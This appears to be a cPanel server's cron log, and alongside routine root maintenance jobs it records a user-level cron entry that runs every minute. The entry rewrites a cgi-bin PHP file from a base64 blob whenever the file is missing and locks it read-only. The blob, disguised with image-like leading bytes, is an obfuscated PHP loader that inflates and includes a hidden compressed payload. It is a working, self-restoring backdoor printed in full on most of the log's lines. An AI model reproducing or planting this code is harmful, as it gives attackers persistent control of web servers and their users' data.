Sep  1 20:48:01 server CROND[24318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:48:01 server CROND[24320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:48:01 server CROND[24319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:49:01 server CROND[24713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:49:01 server CROND[24714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:49:01 server CROND[24715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:50:01 server CROND[25115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:50:01 server CROND[25117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:50:01 server CROND[25120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:50:01 server CROND[25121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:50:01 server CROND[25127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:50:01 server CROND[25133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:50:01 server CROND[25131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:50:01 server CROND[25126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:50:01 server CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:51:02 server CROND[26050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:51:02 server CROND[26051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:51:02 server CROND[26052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:52:01 server CROND[26437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:52:01 server CROND[26438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:52:01 server CROND[26439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:53:01 server CROND[26981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:53:01 server CROND[26982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:53:01 server CROND[26983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:54:01 server CROND[27390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:54:01 server CROND[27391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:54:01 server CROND[27392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:55:01 server CROND[27784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:55:01 server CROND[27789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:55:01 server CROND[27787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:55:01 server CROND[27791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:55:01 server CROND[27793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:55:01 server CROND[27786]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:55:01 server CROND[27788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:56:01 server CROND[28638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:56:01 server CROND[28639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:56:01 server CROND[28640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:57:01 server CROND[29022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:57:01 server CROND[29023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:57:01 server CROND[29025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:57:01 server CROND[29024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:58:01 server CROND[29508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:58:01 server CROND[29509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:58:01 server CROND[29510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:59:01 server CROND[29905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:59:01 server CROND[29906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:59:01 server CROND[29904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:00:01 server CROND[30302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:00:01 server CROND[30308]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:00:01 server CROND[30306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:00:01 server CROND[30309]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
